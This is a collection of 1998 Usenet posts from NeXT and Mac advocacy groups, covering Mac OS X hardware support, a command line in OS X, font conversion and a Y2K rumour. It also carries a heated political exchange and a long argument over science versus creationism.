> It's within your power to settle this once and for all if only you'd answer the
> question ...
And supposing you were to ask him what size of underpants he wears, or
if, indeed, he wears underpants at all, he could settle the whole
question by simply answering, couldn't he?
Then again, perhaps it's none of your damned business, as he originally
said. But we know now, from your posts, that in posing the question in
the first place and subsequently belaboring it, you are encouragin
"everyone to put the pieces together and draw their own conclusions"
about a purely private and personal matter.
These are the actions of a sick man, Mr. Devlin.
> In the meantime, don't be surprised if people are prepared to infer that you
> would take measures commensurate with the seriousness of the perceived threat.
Yes, we are familiar with the level of intellectual dishonesty and pure
slander to which you have accustomed your posts. Congratulations, Mr.
Devlin.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 12:04:04 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0907981204040001@dante.eng.uci.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net>
In article <stone-ya02408000R0807982323110001@news.enetis.net>,
stone@stoneentertainment.com (Kevin Stone) wrote:
>As has been repeated countless times on these newsgroups, Apple stated that
>MacOSX will be -->optimized<-- for the G3 processor, not that it will run
>only on G3 systems. It is highly unlikely that MacOSX will run only on G3
>systems becuase...
>
>1. Apple has announced plans for an OSX port to Intel's X86 platform.
>2. By the time MacOSX ships the G4 will have already been in mass
>production for over 6 months.
>
>I believe logic dictates that these two facts falsify the idea that MacOSX
>will run only on G3 systems. Being a combination of Rhapsody and other
>projects, in all likelyhood MacOSX will run on the same hardware that
>Rhapsody runs on, namely all PCI based PowerMacs and some 603e based
>PowerBooks. Though this too is speculative, I think it is far more
>plausible than the fabrication that MacOSX will run only on G3 based
>systems.
I think we need to consider that Apple is introducing a new concept to the
Mac community: unsupported software.
That Mac OS X will be fully supported on G3 hardware does not preclude it
from running, however unofficially, on pre-G3 hardware. Even at the time
that Mac OS X ships, Apple would _still_ not claim that Mac OS X supports
pre-G3 hardware, even though it would run on it just fine.
Historically, if Apple said that Mac OS 8 would run on 040 and up, that
meant that it simply _would not_ run on 030s and down. You couldn't
install it on older hardware, and upon boot it would not even _try_ to
run. We're used to thinking in that manner when Apple makes a statement.
Consider that this policy is changing and the 'G3 only' statement is being
interpreted in the wrong way.
Think of Mac OS X supporting G3 hardware in much the same way that
Microsoft might announce support for their OSen.
-Bob Cassidy
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: converting fonts from OpenStep to Mac
Message-ID: <1998070920060300.QAA15775@ladder01.news.aol.com>
Date: 9 Jul 1998 20:06:03 GMT
Organization: AOL http://www.aol.com
References: <adhamh-ya02408000R0907980838420001@news.apple.com>
Hmm, Fontographer should be able to read in Unix ASCII format Postscript Type 1
fonts (.PFA).
If it doesn't get the Type 1 font tools or some other tool which will convert
from Adobe Type 1 ASCII to .PFB and then open that.
Fontlab, www.fontlab.com will open .PFA files (though of course, one has to add
this suffix manually to NeXT/OPENstep fonts), but the Mac version isn't ready
yet. Shame that they won't consider doing development under the Yellow
Box/Rhapsody/Mac OS X.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: converting fonts from OpenStep to Mac
Message-ID: <1998070920064400.QAA19562@ladder03.news.aol.com>
Date: 9 Jul 1998 20:06:44 GMT
Organization: AOL http://www.aol.com
References: <adhamh-ya02408000R0907980838420001@news.apple.com>
Oh, naturally, to go from Mac to OpenStep one would use Frank Siegert's
fabulous FontConvert.app available at www.this.net/~frank
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Thu, 09 Jul 1998 13:05:11 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0907981305110001@dante.eng.uci.edu>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com> <slrn6q2sji.osk.sal@panix3.panix.com> <6o0euc$32e5@onews.collins.rockwell.com> <slrn6q8mpg.399.sal@panix3.panix.com> <6o33u6$dt7$2@lwnws01.ne.highway1.com>
In article <6o33u6$dt7$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>sal@panix3.panix.com (Salvatore Denaro) wrote:
>> MacOS customers do _not_ want a CLI.
>
>Yea, and listenting to those geniuses has lead apple to monumental
>failure after failure.
That's not fair.
By and large, Mac OS customers have _not_ been listened to prior to about
a year ago, and Apple delivered few of the things that we wanted. The Mac
community is pretty easy to nail down, actually, if only because we are
highly concentrated in specific markets: education, publishing, etc. So
Apple really _should_ go to Seybold and put a big suggestion box out, or a
web survey for people to mark their priorities, etc.
Part of the problem has always been that the Mac community would ask for
something, better internet integration in the OS for example, so Apple
would create Powertalk, or Cyberdog, instead of creating Internet Config
which is what we really wanted. We're still asking for the same things,
but Apple _gets_ it better and knows what to deliver better.
A CLI is fine, even desirable, so long as my users don't see it, even by
accident. It's an administration tool that should be available to the
administrator. So Mac OS _users_ don't want a CLI, but some large MacOS
customers (like the UC system) do want a CLI and probably have wanted one
in varying degrees since 1984. Packaging is _really_ important on that
one.
-Bob Cassidy
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Date: Thu, 09 Jul 98 17:13:32 GMT
Organization: QMS
Message-ID: <6o2tks$2r4$1@news01.deltanet.com>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net> <gierkeNOSPAM-0807982124250001@pm1-53.ile.infi.net> <jayfar-0907980000590001@chestnut1-38.slip.netaxs.com> <6o2qj2$m0c$0@206.165.146.35>
In article <jayfar-0907980000590001@chestnut1-38.slip.netaxs.com>,
jayfar@netaxs.com wrote:
> The thing is jokes like that aren't the slightest bit funny when they
> appear on a widely read website on other than April 1. The wrong people
> read such jokes and run with them as facts -- David Field would have a
> field day with that.
It was posted on a rumors page from random people at MacWorld.
On the other hand, Rumors has a fairly high credibility. Not as high
as MacWorld, but reasonably high. If they say something that I
could well believe, I will give it some weight. Not base my buying
decisions on it, but at least consider it as a possibility.
I, for one, believed the rumor, because of the previous Apple history
with shortsighted changes. It seemed a bit fishy, given that the
well known MacOS is known to be fairly Y2K proof, and NextStep
has not shown any real Y2K problems that I know of, but in the recent
chaos, it is not that hard to believe that a major flaw in one of them
that was integral to the design just did not get tested. After all,
there have been a lot of changes in plan of late.
Examples of shortsighted changes: 1 - The lack of six slot PCI
machines when there are no other alternatives, and when the current
G3 offerings require a fast video and SCSI card to get decent
performance. 2 - The lack of support for Power machines on OSX.
3 - the midstream changes to developer policies. 4 - Killing the
Newton before the Palm device was clearly Mac-friendly.
As it turns out, the second is the only one that is still annoying to
me - an upcoming wedding ate the cash that was going to go for a six
slot Mac in the short term, and there is good reason to believe that
they will be shipping a six slot Mac in the long term. Further, the
developer policy change will likely only keep me out of Rhapsody,
which is looking pretty dead end for a Power Computing owner.
As far as Palm goes, Claris Organizer was well regarded, and taking
that over and boosting the functionality of the other tools would make
me quite happy as a Palm and a Mac owner.
From my perspective as a stockholder, it appears that several of
these gambles may well have paid off. Certainly, I am brighter
about Apple's future than I was a while back.
A joke is only a joke when it is perceived as such. Saying that
Apple screwed up on their designs is only funny if we all think
that is terribly unlikely. If the intended audience thinks it might
be true, then it is not much of a laugh.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: schefflr@news.msus.edu (Bill Scheffler)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 9 Jul 1998 17:14:34 GMT
Organization: Minesota Colleges and Universities
Message-ID: <6o2tpq$mu0$1@Urvile.MSUS.EDU>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>
It's a joke. I wonder how many people they panicked with that
one. :)
Steve Sullivan (macghod@concentric.net) wrote:
: Macintosh OS X, due out third quarter of 1999, was announced today to not
: be Year 2000 compliant.
: From macosrumors.com. This is a joke right?
: --
: So many pedestrians, so little time.
--
--------------------------------------------------------------------------
Bill Scheffler | "Good...Bad...I'm the guy with
163 East Snarr Hall -- (218) 236-3285 | the gun." - Ash
Moorhead State University | (Army of Darkness)
schefflr@mhd1.moorhead.msus.edu |-------------------------------
http://dragon.moorhead.msus.edu/~schefflr |-------- ICQ# 11985553 --------
--------------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <cdoutyEvu8uC.7rq@netcom.com>
Organization: Netcom
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <slrn6q2sji.osk.sal@panix3.panix.com> <6o0euc$32e5@onews.collins.rockwell.com> <slrn6q8mpg.399.sal@panix3.panix.com>
Date: Thu, 9 Jul 1998 17:34:59 GMT
Sender: cdouty@netcom11.netcom.com
In article <slrn6q8mpg.399.sal@panix3.panix.com>,
Salvatore Denaro <sal@panix3.panix.com> wrote:
>On 8 Jul 1998 18:48:44 GMT, Erik M. Buck <embuck@palmer.cca.rockwell.com> wrote:
>> Apple
>>needs to give customers what they want.
>
>MacOS customers do _not_ want a CLI.
Apple needs new customers.
I am not impling a causal relationship with want a CLI; I'm simply stating a
matter of fact. Businesses must increase their customer base or die.
>
>>It seems Apple has some potential customers that won't buy something that has
>>a built in standard UNIX command line.
Then these people are, IMNSHO, short-sighted morons. Of course those who
won't consider anything without a Unix command line suffer from similar
(though less severe :-) biases.
Cheers,
Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: tph@longhorn.uucp (Tom Harrington)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 9 Jul 1998 19:47:44 GMT
Organization: Mechanist Industries
Message-ID: <6o36p0$oa7@eccws1.dearborn.ford.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net>
Kevin Stone (stone@stoneentertainment.com) wrote:
: As has been repeated countless times on these newsgroups, Apple stated that
: MacOSX will be -->optimized<-- for the G3 processor, not that it will run
: only on G3 systems. It is highly unlikely that MacOSX will run only on G3
: systems becuase...
: 1. Apple has announced plans for an OSX port to Intel's X86 platform.
Where did you hear this? I have heard that, between Rhapsody and
NextStep running on X86, and the work that went into QuickTime
for PCs, that this would not be nearly as difficult as one might
expect. But I've heard of no plans to actually do it.
If you're thinking of the fact that Rhapsody will apparently be
dubbed "MacOS X Server" upon release, I think you're off the mark.
That's not the same as MacOS X in name or in function. And it's
not a port to X86, it's a renaming of the existing software.
--
Tom Harrington --------- tph@rmii.com -------- http://rainbow.rmii.com/~tph
"I don't like your I-can-use-anything-as-an-adjective attitude."
-- Larry Wall
Cookie's Revenge: ftp://ftp.rmi.net/pub2/tph/cookie/cookies-revenge.sit.hqx
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <slrn6q8n6c.399.sal@panix3.panix.com> <slrn6q8nob.399.sal@panix3.panix.com> <slrn6q8o8s.399.sal@panix3.panix.com> <6o2b24$tca$1@camel21.mindspring.com>
In-Reply-To: <6o2b24$tca$1@camel21.mindspring.com>
From: not@my.address.net
Message-ID: <vW7p1.3082$24.17768812@news.itd.umich.edu>
Date: Thu, 09 Jul 1998 18:25:31 GMT
NNTP-Posting-Date: Thu, 09 Jul 1998 14:25:31 EDT
On 07/09/98, Matthew Cromer wrote:
... quoting my aside to Michael Peck ...
>>
>>The man claims to have a rational fear that the government will murder him;
>>and you think it's silly to ask what steps he's going to take to protect
>>himself? Still waiting for an answer, by the way. But he doesn't want to
>>tell. Given the seriousness of the percieved threat, however, you'd think
>>that the situation calls for extreme measures. That would also explain his
>>reluctance to go public. I mean, if you're gonna get them before they get
>>you, you wouldn't exactly want to advertise ...
>
>You are an absolute douchebag.
>
It's within your power to settle this once and for all if only you'd answer the
question ...
Given your claim that you have a rational fear the government will murder you,
what steps are you prepared to take to "protect" yourself?
In the meantime, don't be surprised if people are prepared to infer that you
would take measures commensurate with the seriousness of the perceived threat.
>>
>>>>
>>>> Nazi Germany wasn't a democracy.
>>>
>>>Hmmmm? The Weimar Republic was the government under which the Nazi
>>>regime was *elected* into power.
>>>
>>
>>One of the first steps that Hitler took after becoming Chancellor was to
>>disband parliament. After that point, Germany was hardly democratic. It's
>>not as if anyone was going to vote the Nazis out of office.
>
>The point is, they were elected _in_ to power.
>
Well then you should rest a little easier knowing that, unlike the Nazi's, your
government can be voted _out_ of power as well.
--
invert: umich.edu jdevlin
insert: shift "2"
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 20:38:29 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o39o5$5jj$1@camel15.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com>
Mime-Version: 1.0
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In article <slrn6q8nob.399.sal@panix3.panix.com> Salvatore Denaro,
sal@panix3.panix.com writes:
>I've seen "downsized departments" that are run by 75%+ temp workers where
>the prime motivation is to work hard and become a full time worker. Temps
>do not get bonuses or benefits. The company (a large database vendor in
>this case) replaced 200+ workers with new workers that got paid less money,
>received no benefits, and worked harder. A boon for the company, at the
>cost of 200+ individuals and their families.
>
I am a "temp" worker who has turned down three job offers full time at
the place I work today, and turned down two full time offers elsewhere.
I think I am going to accept the latest offer actually tonight.
But the point is, temp is not some terrible thing and that anyone who
works for a temp. agency is being given the short end.
Matthew Cromer
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 9 Jul 1998 20:40:55 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o39sn$hd5$1@lwnws01.ne.highway1.com>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <slrn6pnb5s.agd.sal@panix3.panix.com> <359BB6E5.C244275F@exu.ericsson.se> <slrn6pnqnc.dci.sal@panix3.panix.com> <*johnnyc*-0907981001340001@jchristie.halifaxcable.dal.ca> <35A4DA46.C3E539EF@nstar.net> <rmcassid-0907981212100001@dante.eng.uci.edu>
rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <35A4DA46.C3E539EF@nstar.net>, "Michael J. Peck"
> <mjpeck@nstar.net> wrote:
>
> >Remember! No matter what you do to a Honda Accord, it will never be a
> >Chevy Camaro, with 275 bhp, way-cool styling, and a sweeping LT1
> >spoiler. Then again, your target market may not give a shit.
>
> Chevy Camaro? Way-cool styling?
> That's an offense to the word 'style'.
> It's gotta be...
I gotta agree. A pretty cool integrated spoiler, and overall stylish car, is
on the Acura (i.e. Honda) NSX. The one I like best though is on the Porsche
959; very neet and actually useful spoiler work. It might be somekind of
crime against nature that Bgates has one; why do I imagine he'd put in an
automatic transmission? Sudder.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <slrn6q8n6c.399.sal@panix3.panix.com> <slrn6q8nob.399.sal@panix3.panix.com> <slrn6q8o8s.399.sal@panix3.panix.com> <6o2b24$tca$1@camel21.mindspring.com> <vW7p1.3082$24.17768812@news.itd.umich.edu> <35A51590.E1CBC9A1@ericsson.com>
In-Reply-To: <35A51590.E1CBC9A1@ericsson.com>
From: not@my.address.net
Message-ID: <x5ap1.3098$24.17873337@news.itd.umich.edu>
Date: Thu, 09 Jul 1998 20:53:49 GMT
NNTP-Posting-Date: Thu, 09 Jul 1998 16:53:49 EDT
On 07/09/98, Michael Peck wrote:
>
>And supposing you were to ask him what size of underpants he wears, or
>if, indeed, he wears underpants at all, he could settle the whole
>question by simply answering, couldn't he?
>
If his political opinions are intensely personal, he doesn't have to be posting
them to usenet. On the other hand it's really lame to emphatically claim that
you have a rational fear the government is out to murder you, and then get upset
if someone wants to pursue the implications of that position.
--
invert: umich.edu jdevlin
insert: shift "2"
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 20:57:01 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o3aqt$bat$1@camel15.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
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In article <6o2i03$kle@newsb.netnews.att.com> ,
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>>"Government is not reason. It is not eloquence. It is force. Like fire,
>>it is a dangerous servant and a fearful master."
>>
>>G Washington
>
>So, just like you want to abolish government, do you want to abolish
>fire as well ?
No, I don't.
But even the early presidents like Washington knew that government was
seriously dangerous to liberty, something no president today would ever
say. Except maybe Ronald Reagan.
Matthew Cromer
From: cswiger@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Thu, 09 Jul 1998 20:45:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o3a4j$bt4$1@nnrp1.dejanews.com>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net> <6o0egj$nqg$1@news.spacelab.net> <35A3D7D2.102B8996@ericsson.com>
In article <35A3D7D2.102B8996@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Charles W. Swiger wrote:
>> Macrophysical objects _are_ easy to demonstrate. Other things, like
>> subatomic particles, have required a great deal of creativity and ingenuity
>> to produce convincing evidence for.
>
> Therefore, on what basis is evidence measured?
As a general description, good evidence is repeatable, is relevant to the
conclusions being tested (or derived), and can be arrived at via different
mechanisms by different people. There are far more precise yardsticks once
you get into specifics, and I'll go into them and provide references later
on.
> You say that "strong claims require strong evidence", but your system of
> measurement eludes me. Perhaps it is entirely subjective?
No.
> Usually, the atheist appeals from here to common sense. Go ahead, I'd
> love for you to do that.
What ever gave you the notion that I'm an atheist? I'm a rationalist, true,
but they aren't the same thing, regardless of whether you understand the
distinction.
>> And, at least to him, his own existence was self-demonstrating by virtue of
>> the fact that "cognito ergo sum".
>
> Thanks. Without the Latin, something was really missing. I'm glad you
> elevated the conversation thus without having to actually say anything
> of consequence.
You chose to bring Descartes into the conversation; precisely what are you
objecting to when I choose to quote him correctly rather than repeat an
English translation?
>> Not quite. It would have been thought very unlikely, and someone claiming
>> that such things existed would have been required to provide adequate
>> evidence. Which in fact happened.
>
> If I were an 1800s breadmaker and someone said to me "There are living
> coelacanths!", I would have required strong evidence from them? Hmm, I
> don't think so.
For the simple reasons that such a breadmaker would (probably) neither know
nor care about such a thing. So what?
> Now, perhaps if I were an evolutionary scientist with an
> ideological committment to my faith and cloudy presuppositions
> concerning the ages of species, I would have required strong evidence.
> Surely! Thou darest to tear down my beliefs? Show me the proof!
This notion that "science is a faith" has already been refuted. Again,
science does not require anyone to believe in anything without repeatable,
refutable, and verifiable evidence.
> Even today, as evidence that carbon dating and other forms of "proof" of
> the earth's age have been shown faulty, the scientific community
> requires "strong evidence" that their entire house of cards is tumbling.
Carbon dating isn't used for estimating the earth's age for several reasons,
among them is C13/C12 ratios are only of use in materials of biological
origin.
[ ... ]
>> That strawman, again?
>>
>> Science never claims to be absolute or infallible. It simply has developed a
>> method that gives you a chance to make the best (reasoned) answer given the
>> evidence and knowledge available to you at the time.
>
> Infallibility is demonstrated in the clarity with which science claims
> to hold its positions.
Once again, this is nothing but a strawman. You are asserting this notion
that "science claims to be infallible" when that diametrically opposed to the
whole notion of science.
_Religion_ claims to be infallible, with "revealed truths" that cannot be
questioned. Science demands that theories be tested and the supporting
evidence verified by third parties before they are even put at the level of
"we believe this is true".
> The longer a position has been held, the "stronger evidence" is required to
> displace it.
Somewhat correct-- it depends on whether and how the position has been tested
during that time.
> Once upon a time,
> science and the church were one and the same institution. Have you
> forgotten how Galileo was tortured by the Spanish Inquisition in the
> name of Science and the Church?
No. But the Spanish Inquisition had much to do with organized religion, and
pretty much nothing to do with science. It's hardly the only time a religious
group has tried to cloak their prejudices under the auspices of science.
> Not long afterward, Science left the Church,
Clue: science predates Christianity. Ever hear of Plato, or Aristotle, or
Eratosthenes? Hippocrates? The Great Library at Alexandria?
> See if it's possible to publish a paper
> in a secular journal of science regarding suspicion that AZT is actually
> harmful to HIV sufferers.
If you can come up with reasonable evidence to support that claim, I guarantee
that you'd get published.
> See if it's possible to publish a paper with the thesis "Einstein was wrong
> about relativity" and expect thoughtful review by your peers in the
> community of science.
I already gave an URL where recent work has overturned some of Einstein's
published papers (EPR).
> A colleague doing PhD
> work at TAMU cannot get anyone to look at his two-inch-thick sheaf of
> documents regarding his alternative theory of relativity.
Oddly enough, I'm rather unimpressed by the notion of two inches of paper. Is
it meaningful? What evidence does he have to support his claims?
>> The "continue in ignorance" is revealing of your prejudices. Rationalistic
>> behavior is to "assume that you do not know the truth about this claim, and
>> try to find ways of testing it".
>
> Only in freshman textbooks is it so. The mind of Science, in practice,
> is almost never so lacking in subjective judgement.
Prove it with specific references.
> I invite you to actually read something in JAMA or a leading journal of the
> physics community.
Okay, and your point was?
> Which is immaterial: this thread has been postulated as a conflict
> between "rationality" and "superstition"; I need go no farther than this
> thread to find evidence that if Rationalists you be, your description of
> their philosophy bears no similarity to their actions.
Whose actions? So far, you've created your version of science out of thin
air, and then accused the entire scientific community of subverting the
fundamental rationale behind the scientific method, and you can't even manage
to give specific examples!
>>> Which is your default position? Do you claim that claims of a created
>>> order are false? Or do you insist that you cannot know the truth?
>>
>> Neither. I believe I can know the truth, and that claims of "a created
>> order" are not subject to testing, verification, and refutability (and thus
>> are unprovable).
>
> On what grounds are they not? Evolutionists seem to relish claiming that
> Creation theories cannot be tested,
Easy. How can I refute your claim "that the mind, as well as the body, was
created"? What would it take for you, MJP, to agree that the above
proposition was false?
[ ...dinosaur example... ]
> Entire species! Mating behavior, nesting habits, family trees,
> evolutionary tracts, all based on such evidence. I was shaken when I
> left the library.
And did this book ever make the claim that this proposed description was
infallibly correct? I rather doubt it.
>>> The fallibility of evidence and of reason are not in question; only the
>>> fallibility of conclusions is mentioned in your paragraph, or assumed in
>>> the faith of science.
>>
>> Science is not a "faith". It does not require anyone to believe in
>> something without evidence.
>
> I sense an implicit definition in there. Would you draw it out for us,
> explicitly?
What part wasn't explicit?
>> Unlike religion, science does not claim to have absolute answers.
>> Scientific theories can and are revised in the face of new evidence.
>
> This is my question, I'll ask it again: if evidence is sound and reason
> is sound, how can conclusions be unsound, Chuck?
Because humans don't know everything. We make tentative conclusions when we
have little evidence (or the evidence is weak, etc). As more evidence
accumulates, either the conclusion will be disproved, or the conclusion will
be regarded as being stronger by the additional confirmations.
> The answer, of course, is that evidence is not sound, and "scientific"
> conclusions are rarely based on evidence, in any case.
That may be true of the so-called "science" that you've created, but your
strawmen have almost nothing to do with the real thing....
>> That's correct.
>
> So if science claims that its answers are based on incomplete evidence,
> how can reason be engaged? Reason, last I checked, is not a matter of
> probabilities, percentages, and optimism but of logic.
Your education is lacking, evidently.
Did no one teach you interval arithmetic, or significant figures, or
Gaussian/Poisson distributions (perhaps in diff eq?), or error analysis
(advanced calc, or basic numerical methods)?
It's entirely possible to reason with incomplete evidence, probabilities, and
the like, even though the uneducated might believe that basic first-order
predicate logic is the only type of logic around.
> Does science present any answers beyond what is postulated by a
> percentage of people with a percentage of conviction for a percentage of
> their lives?
Yes.
> If new (STRONG!) evidence rolled in to the contrary
> tomorrow, would you still believe that murder is wrong?
Evidence has to do with truth or falsehood, and is independent of a moral
assessment.
I believe anything that can be called murder is wrong, but I also believe that
there exist situations where one person might kill another and be justified in
doing so. That's opinion, not a testable conclusion.
>>> Now, how can reason be engaged on the basis of anything but objective
>>> truth?
>>
>> It's worked fairly well for a very large number of people. Engineers build
>> bridges, construction workers put up houses,
>
> Both of whom pre-suppose that they are working with objective truth.
> Engineers do not say "To the best of our knowledge, the tensile strength
> of our steel is X", they say "The tensile strength of our steel is X".
Once again, it appears that you do not understand significant figures.
Depending on the specific measurement, they might explicitly provide a
precision or interval associated with those values, or they might guarantee
that "the tensile strength of our steel is at least X", which is actually the
most common way that building materials are rated.
In no case does the engineer believe that they know the rating of the
properties of the material to "infinite precision". They work with real
world, imperfect materials and with real world, limited precision knowledge
of the properties of those materials.
> Only by working from absolute presuppositions can they actually perform
> the slightest actions or build the smallest bridges.
Nonsense. Pure nonsense.
>> experimental scientists deal with noisy test data, and they've
>> generally managed to get their jobs done.
>
> Also by working from presuppositions, many of which they conceal as
> "probabilities" or "statistical likelihoods", or simply never verbalize
> because they are never challenged.
Any reputable scientific journal requires a summary of experimental results
including appropriate descriptive and inferential statistics.
Just because you don't understand (for example) ANOVA and what F values mean
doesn't indicate that the experimenter is concealing anything. F values do
indicate the degree of confidence that the experimental results are valid--
that one can reject the null hypothesis (ie, that the results happened by
chance and do not indicate a valid correlation).
> Without making presuppositions about everything leading up to your
> theory, you cannot actually propose a theory. You could, of course, say
> "Assuming everything that I believe is true, I theorize that X is also
> true".
Yet again, you just don't get it. You propose a hypothesis to be tested by
experimention. A theory is what may result after a hypothesis has been
extensively verified by experimentation, and usually attempts to provide a
casual explanation-- ie, answers the question "why do these things relate to
each other?"
[ ... ]
>>> 3) You make conclusions despite your lack of evidence.
>>
>> Nope. I draw conclusions when I have evidence.
>
> I assume that your grasp of English is such that you recognize that
> "incomplete evidence" is a "lack of evidence".
The two are not the same thing at all.
>>> 4) Your default position is disbelief of any claims.
>>
>> Nope. I simply want evidence proportionate to the degree of unlikelyhood of
>> the claim in question.
>
> Wherein unlikelihood is measured arbitrarily against other
> probabilities.
Not at all. To continue the example I mentioned above, one might determine an
alpha level, consider the degrees of freedom, and perform ANOVA for doing
inferential statistics.
For a pretty decent online introduction to this, try
http://www.udayton.edu/~psych/ge216/ge216.htm. This is from experimental
psychology, and thus is slanted towards this type of statistics because (a)
random sampling from the entire population is generally infeasible, and (b)
because true experiments to test correlation between variables are often
difficult to do when using human subjects.
As such, it involves more complicated probability and statistics than other
areas, which often don't require more than descriptive statistics because
those areas are more amenable to experimentation.
> There are no presuppositions, you don't know that you
> exist (although, out of scientific character, you claimed that your
> existence was 'self-evident'; I'll let someone else play havoc with
> that), and yet you claim to be capable of measuring likelihoods of
> evidence.
Given the massive confusion of terminology I've seen so far, I rather doubt
you'll understand precisely what I am claiming. Try reading through the
various lectures from the above URL and come back to this when we can converse
at a meaningful level.
> I suppose this is done according to 'common sense'? Or do you have a
> yardstick that is not, also, based on relativity to other claims?
Science does have yardsticks for evaluating what constitutes acceptible
evidence which are not relative to other claims, yes.
>> You're confusing Rationalism with Scepticism, now.
>
> Ooops. I'd like to keep you all clear in my mind, it's important to know
> what one is engaging.
I'd like that too.
-Chuck (via DejaNews, my news server missed this article)
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Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dbx43p.1b486kcqia03xN@dialup207-3-17.swipnet.se>
